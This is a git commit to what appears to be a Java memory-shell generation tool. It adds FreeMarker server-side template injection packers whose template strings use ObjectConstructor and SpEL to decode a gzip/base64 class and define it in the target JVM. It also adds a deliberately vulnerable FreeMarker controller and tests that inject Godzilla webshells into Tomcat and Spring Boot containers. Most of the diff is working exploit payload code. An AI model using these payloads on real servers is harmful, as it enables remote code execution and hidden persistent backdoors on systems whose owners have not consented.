feat: support Freemarker SpEL packer

This commit is contained in:
ReaJason
2026-08-30 21:19:42 +08:00
parent 305bc0e12c
commit 70935d6ab1
14 changed files with 161 additions and 25 deletions
@@ -381,7 +381,8 @@ public class ShellAssertion {
} }
if (Packers.SpELSpringGzipJDK17.equals(packer) if (Packers.SpELSpringGzipJDK17.equals(packer)
|| Packers.OGNLSpringGzipJDK17.equals(packer) || Packers.OGNLSpringGzipJDK17.equals(packer)
|| Packers.JXPathSpringGzipJDK17.equals(packer)) { || Packers.JXPathSpringGzipJDK17.equals(packer)
|| Packers.FreemarkerSpELSpringGzipJDK17.equals(packer)) {
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5)); injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
} }
@@ -429,7 +430,7 @@ public class ShellAssertion {
case Rhino -> VulTool.postIsOk(url + "/rhino", content); case Rhino -> VulTool.postIsOk(url + "/rhino", content);
case BeanShell -> VulTool.postIsOk(url + "/bsh", content); case BeanShell -> VulTool.postIsOk(url + "/bsh", content);
case JinJava -> VulTool.postIsOk(url + "/jinjava", content); case JinJava -> VulTool.postIsOk(url + "/jinjava", content);
case Freemarker -> VulTool.postIsOk(url + "/freemarker", content); case Freemarker, FreemarkerScriptEngine, FreemarkerSpELSpringGzip, FreemarkerSpELSpringGzipJDK17 -> VulTool.postIsOk(url + "/freemarker", content);
case Velocity -> VulTool.postIsOk(url + "/velocity", content); case Velocity -> VulTool.postIsOk(url + "/velocity", content);
case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content); case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content);
case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content); case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content);
@@ -59,7 +59,8 @@ public class SpringBoot3ExpressionContainerTest {
return Stream.of( return Stream.of(
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17), arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17), arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17) arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzipJDK17)
); );
} }
@@ -61,6 +61,7 @@ public class Tomcat8ExpressionContainerTest {
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzip),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity) arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity)
); );
} }
@@ -13,6 +13,9 @@ import com.reajason.javaweb.packer.deserialize.hessian.HessianXSLTScriptEnginePa
import com.reajason.javaweb.packer.deserialize.java.*; import com.reajason.javaweb.packer.deserialize.java.*;
import com.reajason.javaweb.packer.el.ELPacker; import com.reajason.javaweb.packer.el.ELPacker;
import com.reajason.javaweb.packer.freemarker.FreemarkerPacker; import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.packer.freemarker.FreemarkerScriptEnginePacker;
import com.reajason.javaweb.packer.freemarker.FreemarkerSpELSpringGzipJDK17Packer;
import com.reajason.javaweb.packer.freemarker.FreemarkerSpELSpringGzipPacker;
import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker; import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
import com.reajason.javaweb.packer.groovy.GroovyPacker; import com.reajason.javaweb.packer.groovy.GroovyPacker;
import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker; import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
@@ -142,6 +145,9 @@ public enum Packers {
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class), GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
Freemarker(new FreemarkerPacker()), Freemarker(new FreemarkerPacker()),
FreemarkerScriptEngine(new FreemarkerScriptEnginePacker(), FreemarkerPacker.class),
FreemarkerSpELSpringGzip(new FreemarkerSpELSpringGzipPacker(), FreemarkerPacker.class),
FreemarkerSpELSpringGzipJDK17(new FreemarkerSpELSpringGzipJDK17Packer(), FreemarkerPacker.class),
Velocity(new VelocityPacker()), Velocity(new VelocityPacker()),
JinJava(new JinJavaPacker()), JinJava(new JinJavaPacker()),
XMLDecoder(new XMLDecoderPacker()), XMLDecoder(new XMLDecoderPacker()),
@@ -1,19 +1,10 @@
package com.reajason.javaweb.packer.freemarker; package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/13 * @since 2024/12/13
*/ */
public class FreemarkerPacker implements Packer { public class FreemarkerPacker implements AggregatePacker {
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
} }
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class FreemarkerScriptEnginePacker implements Packer {
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid;
/**
* JDK 17-compatible FreeMarker/SpEL class-definition payload.
*
* @author ReaJason
* @since 2026/8/30
*/
public class FreemarkerSpELSpringGzipJDK17Packer implements Packer {
String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()\").getValue()}";
@Override
public String pack(ClassPackerConfig config) {
String className = config.getClassName();
assertClassNameValid(className);
return template.replace("{{className}}", className)
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* Uses FreeMarker's ObjectConstructor to create a SpEL parser and evaluate a
* compressed class-definition expression.
*
* @author ReaJason
* @since 2026/8/30
*/
public class FreemarkerSpELSpringGzipPacker implements Packer {
String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()\").getValue()}";
@Override
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -0,0 +1,43 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import org.junit.jupiter.api.Test;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.Assertions.assertTrue;
class FreemarkerSpELSpringGzipPackerTest {
private static ClassPackerConfig config(String className) {
ClassPackerConfig config = new ClassPackerConfig();
byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8);
config.setClassName(className);
config.setClassBytes(classBytes);
config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes));
return config;
}
@Test
void pack() {
String payload = new FreemarkerSpELSpringGzipPacker().pack(config("com.example.Test"));
assertTrue(payload.startsWith("${\"freemarker.template.utility.ObjectConstructor\"?new()"));
assertTrue(payload.contains("SpelExpressionParser"));
assertTrue(payload.contains("Base64Utils"));
assertTrue(payload.contains("GZIPInputStream"));
assertTrue(payload.contains("com.example.Test"));
}
@Test
void packJdk17() {
FreemarkerSpELSpringGzipJDK17Packer packer = new FreemarkerSpELSpringGzipJDK17Packer();
assertDoesNotThrow(() -> packer.pack(config("org.springframework.expression.Test")));
assertThrows(UnsupportedOperationException.class,
() -> packer.pack(config("com.example.Test")));
}
}
+1
View File
@@ -22,6 +22,7 @@ dependencies {
implementation("ognl:ognl:2.7.3") implementation("ognl:ognl:2.7.3")
implementation("commons-jxpath:commons-jxpath:1.3") implementation("commons-jxpath:commons-jxpath:1.3")
implementation("commons-beanutils:commons-beanutils:1.9.3") implementation("commons-beanutils:commons-beanutils:1.9.3")
implementation("org.freemarker:freemarker:2.3.23")
} }
tasks.test { tasks.test {
@@ -0,0 +1,35 @@
package com.reajason.javaweb.vul.springboot3.controller;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2026/8/30
*/
@RestController
@RequestMapping("/freemarker")
public class FreemarkerController {
@PostMapping
public String freemarker(@RequestParam String data) throws IOException, TemplateException {
Configuration configuration = new Configuration();
configuration.setDefaultEncoding("UTF-8");
Map<String, Object> input = new HashMap<>();
input.put("object", new Object());
Template template = new Template("templateName", new StringReader(data), configuration);
StringWriter output = new StringWriter();
template.process(input, output);
return output.toString();
}
}
+1 -1
View File
@@ -1,2 +1,2 @@
VITE_APP_API_URL=http://127.0.0.1:8080 VITE_APP_API_URL=http://127.0.0.1:8889
VITE_APP_BASE_PATH=/ VITE_APP_BASE_PATH=/
+1 -10
View File
@@ -2,15 +2,6 @@ import type { InjectorConfig, ShellConfig, ShellToolConfig } from "@/types/memsh
import type { ProbeConfig, ProbeContentConfig } from "@/types/probeshell"; import type { ProbeConfig, ProbeContentConfig } from "@/types/probeshell";
import type { MemShellFormSchema, ProbeShellFormSchema } from "@/types/schema"; import type { MemShellFormSchema, ProbeShellFormSchema } from "@/types/schema";
const SPRING_GZIP_JDK17_RELATED_PACKERS = new Set([
"SpEL",
"SpELSpringGzipJDK17",
"OGNL",
"OGNLSpringGzipJDK17",
"JXPath",
"JXPathSpringGzipJDK17",
]);
const UPPERCASE_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; const UPPERCASE_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
const CLASS_NAME_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; const CLASS_NAME_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
@@ -31,7 +22,7 @@ function generateSpringExpressionInjectorClassName() {
} }
function isSpringGzipJdk17RelatedPacker(packer: string) { function isSpringGzipJdk17RelatedPacker(packer: string) {
return SPRING_GZIP_JDK17_RELATED_PACKERS.has(packer); return packer.endsWith("SpringGzipJDK17");
} }
export function transformToPostData(formValue: MemShellFormSchema) { export function transformToPostData(formValue: MemShellFormSchema) {